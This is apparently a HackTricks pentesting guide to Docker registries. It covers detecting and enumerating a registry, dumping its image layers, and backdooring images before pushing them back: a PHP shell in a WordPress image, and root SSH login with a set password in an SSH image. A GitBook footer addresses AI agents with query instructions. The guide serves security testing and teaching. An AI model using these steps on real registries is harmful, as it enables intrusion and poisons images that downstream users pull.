> For the complete documentation index, see [llms.txt](https://blog.1nf1n1ty.team/hacktricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.1nf1n1ty.team/hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md). # 5000 - Pentesting Docker Registry {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Basic Information A storage and distribution system known as a **Docker registry** is in place for Docker images that are named and may come in multiple versions, distinguished by tags. These images are organized within **Docker repositories** in the registry, each repository storing various versions of a specific image. The functionality provided allows for images to be downloaded locally or uploaded to the registry, assuming the user has the necessary permissions. **DockerHub** serves as the default public registry for Docker, but users also have the option to operate an on-premise version of the open-source Docker registry/distribution or opt for the commercially supported **Docker Trusted Registry**. Additionally, various other public registries can be found online. To download an image from an on-premise registry, the following command is used: ```bash docker pull my-registry:9000/foo/bar:2.1 ``` This command fetches the `foo/bar` image version `2.1` from the on-premise registry at the `my-registry` domain on port `9000`. Conversely, to download the same image from DockerHub, particularly if `2.1` is the latest version, the command simplifies to: ```bash docker pull foo/bar ``` **Default port:** 5000 ``` PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0) ``` ## Discovering The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.\ Some fingerprints: * If you access `/` nothing is returned in the response * If you access `/v2/` then `{}` is returned * If you access `/v2/_catalog` you may obtain: * `{"repositories":["alpine","ubuntu"]}` * `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` ## Enumeration ### HTTP/HTTPS Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured: ```bash curl -s http://10.10.10.10:5000/v2/_catalog #If HTTPS Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: " to save to a file. #If HTTP {"repositories":["alpine","ubuntu"]} ``` ### Authentication Docker registry may also be configured to require **authentication**: ```bash curl -k https://192.25.197.3:5000/v2/_catalog #If Authentication required {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]} #If no authentication required {"repositories":["alpine","ubuntu"]} ``` If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](/hacktricks/generic-methodologies-and-resources/brute-force.md#docker-registry).\ **If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this: ```bash curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ``` ### Enumeration using DockerRegistryGrabber [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a python tool to enumerate / dump docker degistry (without or with basic authentication) ```bash usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url ____ ____ ____ | _ \ | _ \ / ___| | | | || |_) || | _ | |_| || _ < | |_| | |____/ |_| \_\ \____| Docker Registry grabber tool v2 by @SyzikSecu positional arguments: url URL options: -h, --help show this help message and exit -p port port to use (default : 5000) Authentication: -U USERNAME Username -P PASSWORD Password -A header Authorization bearer token Actions: --list --dump_all --dump DOCKERNAME DockerName Example commands: python drg.py http://127.0.0.1 --list python drg.py http://127.0.0.1 --dump my-ubuntu python drg.py http://127.0.0.1 --dump_all python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all python drg.py https://127.0.0.1 -A '' --list python drg.py https://127.0.0.1 -A '' --dump my-ubuntu python drg.py https://127.0.0.1 -A '' --dump_all python3 DockerGraber.py http://127.0.0.1 --list [+] my-ubuntu [+] my-ubuntu2 python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 python3 DockerGraber.py http://127.0.0.1 --dump_all [+] my-ubuntu [+] my-ubuntu2 [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 [+] blobSum found 5 [+] Dumping my-ubuntu2 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 ``` ### Enumeration using curl Once you **obtained access to the docker registry** here are some commands you can use to enumerate it: ```bash #List repositories curl -s http://10.10.10.10:5000/v2/_catalog {"repositories":["alpine","ubuntu"]} #Get tags of a repository curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]} #Get manifests curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest { "schemaVersion": 1, "name": "ubuntu", "tag": "latest", "architecture": "amd64", "fsLayers": [ { "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935" }, { "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4" }, { "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10" } ], "history": [ { "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}" }, { "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}" }, { "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}" } ], "signatures": [ { "header": { "jwk": { "crv": "P-256", "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX", "kty": "EC", "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg", "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg" }, "alg": "ES256" }, "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q", "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ" } ] } #Download one of the previously listed blobs curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar #Inspect the insides of each blob tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory ``` {% hint style="warning" %} Note that when you download and decompress the blobs files and folders will appear in the current directory. **If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs**, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob. {% endhint %} ### Enumeration using docker ```bash #Once you know which images the server is saving (/v2/_catalog) you can pull them docker pull 10.10.10.10:5000/ubuntu #Check the commands used to create the layers of the image docker history 10.10.10.10:5000/ubuntu #IMAGE CREATED CREATED BY SIZE COMMENT #ed05bef01522 2 years ago ./run.sh 46.8MB # 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B # 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B # 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B # 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB #Run and get a shell docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running docker ps #Using a different shell docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container ``` ### Backdooring WordPress image In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.\ **Create** the **backdoor**: {% code title="shell.php" %} ```bash ``` {% endcode %} Create a **Dockerfile**: {% code title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/wordpress COPY shell.php /app/ RUN chmod 777 /app/shell.php ``` {% endcode %} **Create** the new image, **check** it's created, and **push** it: ```bash docker build -t 10.10.10.10:5000/wordpress . #Create docker images docker push registry:5000/wordpress #Push it ``` ### Backdooring SSH server image Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.\ **Download** the image and **run** it: ```bash docker pull 10.10.10.10:5000/sshd-docker-cli docker run -d 10.10.10.10:5000/sshd-docker-cli ``` Extract the `sshd_config` file from the SSH image: ```bash docker cp 4c989242c714:/etc/ssh/sshd_config . ``` And modify it to set: `PermitRootLogin yes` Create a **Dockerfile** like the following one: {% tabs %} {% tab title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` {% endtab %} {% endtabs %} **Create** the new image, **check** it's created, and **push** it: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## References * {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://blog.1nf1n1ty.team/hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.